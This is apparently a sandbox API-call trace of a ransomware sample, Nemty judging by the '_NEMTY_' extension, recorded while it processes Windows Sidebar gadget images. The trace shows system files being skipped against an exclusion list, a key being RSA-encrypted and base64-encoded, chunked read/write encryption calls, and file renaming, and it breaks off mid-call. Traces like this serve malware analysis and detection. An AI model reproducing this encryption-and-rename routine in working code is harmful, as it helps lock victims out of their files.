lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_cloudy.png", lpUsedDefaultChar=0x0) returned 22 [0163.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0163.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0163.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0163.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0163.550] Sleep (dwMilliseconds=0x5) [0163.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15237590, dwHighDateTime=0x1d561e8)) [0163.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15237590, dwHighDateTime=0x1d561e8)) [0163.564] GetLastError () returned 0x5 [0163.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0163.564] GetLastError () returned 0x5 [0163.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0163.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0163.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0163.564] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0163.564] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0163.564] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0163.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0163.564] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="dvFsEsafB1q+UcXdB7M8Dbdld0ywR8ds2ddVnmS8pn1Q1LF0b6Z4YMtM73nbCNIv\r\nsMCYqy+HwIQVozNSjwO0QbgCxlx55Cm0hTytTJ4r7Fyuq8DMwVtsChNZNVrNulna\r\nrcn6zk5Ltr03hK+1YpnW3CLvn6npHN5lkO8tNiHggBF+87ijOVLeGyJblTxJpBt9\r\n/qIdEGrsBW0f7xNK61kERGQz9KEXj5Ajbya+8mEAsdXLOTtv9z89tnb0dMgdbdUD\r\nZBaCle1sgKcd5qsn3pLuPz0eVQCMFDvTEiSHm2KJ74ztHNUsFp8nRxmKZ/L/PULP\r\nTaUMsMr0KaY0qLUXiiWMbg==\r\n", pcchString=0x653e91c) returned 1 [0163.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0163.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0163.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0163.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0163.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0163.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0163.564] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.565] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0163.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0163.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.565] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.575] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.575] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.584] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.593] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.593] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.603] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.603] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.612] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.612] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.621] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.622] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.631] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.640] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.640] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.650] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.662] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.662] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.662] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.662] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.668] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.668] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.674] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.674] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0163.674] CloseHandle (hObject=0xffffffff) returned 0 [0163.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0163.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0163.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0163.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0163.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0163.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0163.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0163.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0163.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0163.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0163.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_cloudy.png._nemty_kgobjgd_")) returned 0 [0163.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0163.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0163.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0163.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0163.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0163.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0163.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0163.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0163.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0163.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.675] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x874681e4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x874681e4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c5cadad, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x29d0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_gray_few-showers.png", cAlternateFileName="")) returned 1 [0163.675] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2=".") returned 1 [0163.675] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="..") returned 1 [0163.675] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="...") returned 1 [0163.675] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="windows") returned -1 [0163.675] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="$RECYCLE.BIN") returned 1 [0163.675] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="rsa") returned -1 [0163.675] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="NTDETECT.COM") returned -1 [0163.675] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="ntldr") returned -1 [0163.675] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="MSDOS.SYS") returned -1 [0163.675] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="IO.SYS") returned -1 [0163.675] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="boot.ini") returned 1 [0163.675] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="boot.ini") returned 1 [0163.675] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="AUTOEXEC.BAT") returned 1 [0163.675] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="ntuser.dat") returned -1 [0163.675] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="desktop.ini") returned 1 [0163.675] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="CONFIG.SYS") returned 1 [0163.675] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="RECYCLER") returned -1 [0163.675] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="BOOTSECT.BAK") returned 1 [0163.676] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="bootmgr") returned 1 [0163.676] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="programdata") returned -1 [0163.676] lstrcmpiW (lpString1="docked_gray_few-showers.png", lpString2="appdata") returned 1 [0163.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0163.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_few-showers.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0163.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_few-showers.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_few-showers.png", lpUsedDefaultChar=0x0) returned 27 [0163.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0163.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_few-showers.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0163.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_few-showers.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_few-showers.png", lpUsedDefaultChar=0x0) returned 27 [0163.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0163.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0163.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0163.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_few-showers.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0163.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_few-showers.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_few-showers.png", lpUsedDefaultChar=0x0) returned 27 [0163.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0163.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0163.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_few-showers.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0163.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0163.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_few-showers.png", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_few-showers.png", lpUsedDefaultChar=0x0) returned 27 [0163.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0163.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0163.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0163.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400d0 [0163.676] Sleep (dwMilliseconds=0x5) [0163.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15368090, dwHighDateTime=0x1d561e8)) [0163.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15368090, dwHighDateTime=0x1d561e8)) [0163.689] GetLastError () returned 0x5 [0163.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0163.689] GetLastError () returned 0x5 [0163.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0163.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0163.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0163.689] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0163.689] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0163.689] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0163.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340308 [0163.689] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, 